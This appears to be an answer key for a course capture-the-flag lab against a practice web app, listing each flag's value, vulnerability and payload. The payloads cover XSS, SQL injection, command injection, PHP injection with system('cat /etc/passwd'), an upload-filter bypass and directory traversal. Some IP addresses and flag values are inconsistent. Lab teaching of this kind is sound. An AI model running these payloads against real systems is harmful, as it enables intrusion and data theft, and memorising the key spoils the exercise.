Cybersecurity

Solution File

Module 17 Day 1: Project 2

Day 1 Solution File: Attacking the Web Application CTF

Flag Solutions

Flag 1: f76sdfkg6sjf

- Location: `Welcome.php`
- Vulnerability: XSS reflected
- Method/Payload to Exploit: <script>alert("hi")</script>

Flag 2: ksdnd99dkas

- Location: `Memory-Planner.php` (first field)
- Vulnerability: XSS reflected (advanced)
- Method/Payload to Exploit: The input validation removes the word "script," so the word "script" needs to be split up in the payload (e.g., `<SCRIPscriptT>alert("hi")</SCRIPscriptTt>`)

Flag 3: sd7fk1nctx

- Location: `comments.php`
- Vulnerability: XSS Stored
- Method/Payload to Exploit: <script>alert("hi")</script>

Flag 4: nckd97dk6sh2

- Location: `About-Rekall.php`
- Vulnerability: Sensitive data exposure
- Method/Payload to Exploit: The flag appears in the HTTP response headers. These headers can be seen using BURP or via a cURL request, such as:
  - `curl -v http://192.168.14.35/About-Rekall.php`

Flag 5: mmssdi73g

- Location: `Memory-Planner.php` (second field)

- Vulnerability: Local file inclusion
- Method/Payload to Exploit: Uploading any PHP file will provide the flag.

Flag 6: ld8skd62hdd

- Location: `Memory-Planner.php` (third field)
- Vulnerability: Local file inclusion (advanced)
- Method/Payload to Exploit: The input validation checks for the presence of `.jpg`, so to bypass this upload, name your malicious script with this name: `script.jpg.php`.

Flag 7: bcs92sjsk233

- Location: `Login.php` (first field)
- Vulnerability: SQL injection
- Method/Payload to Exploit: In the password field, use the following payload: `ok' or 1=1--` .

Flag 8: 87fsdkf6djf

- Location: `Login.php` (second field)
- Vulnerability: Sensitive data exposure
- Method/Payload to Exploit: The username and password are in the HTML, or you can view them by highlighting the web page.
    - Username: `dougquaid`
    - Password: `kuato`

Flag 9: dkkdudfkdy23

- Location: `robots.txt`
- Vulnerability: Sensitive data exposure
- Method/Payload to Exploit: Just access the web page.

Flag 10: ksdnd99dkas

- Location: `networking.php` (first field)
- Vulnerability: Command injection
- Method/Payload to Exploit: `www.welcometorecall.com && cat vendors.txt` or `www.welcometorecall.com ; cat vendors.txt`

Flag 11: opshdkasy78s

- Location: `networking.php` (second field)
- Vulnerability: Command injection (advanced)
- Method/Payload to Exploit: Input validation strips `&` and `;` so the payload will need to be `www.welcometorecall.com | cat vendors.txt`.

Flag 12: hsk23oncsd

- Location: `Login.php` (second field)
- Vulnerability: Brute force attack
- Method/Payload to Exploit: Using the vulnerability in Flag 10 or 11 and viewing the `/etc/passwd` file, you'll see a user `melina`. This user has the same password: `melina`.

Flag 13: jdka7sk23dd

- Location: `souvenirs.php`
- Vulnerability: PHP injection
- Method/Payload to Exploit: This hidden web page was identified in the `robots.txt` file found in Flag 9. The payload to exploit this page is changing the URL to `http://192.168.13.35/souvenirs.php?message=""; system('cat /etc/passwd')` OR `http://192.168.13.35/souvenirs.php?message=%22%22;%20passthru(%27cat%20/etc/passwd%27).`

Flag 14: dks93jdlsd7dj

- Location: `admin_legal_data.php`
- Vulnerability: Session management
- Method/Payload to Exploit: The link to this page is provided when Flag 12 is acquired. To view the flag, you will need to test out different session IDs in the URL with Burp. (Intruder would be the most efficient.) 87 is the secret session ID that provides the flag (http://192.168.13.35/admin_legal_data.php?admin=87).

Flag 15: dksdf7sjd5sg

- Location: `Disclaimer.php`
- Vulnerability: Directory traversal
- Method/Payload to Exploit: The hint on this page indicates this is the "new" disclaimer. Using the vulnerability from Flag 10 or Flag 11, you can run `ls` to see the `old_disclaimers` directory. Using that finding, change the URL to: `http://192.168.13.35/disclaimer.php?page=old_disclaimers/disclaimer_1.txt.`
    - Note that the resource changed from `disclaimer_2.txt` to `disclaimer_1.txt`, as this is the older version.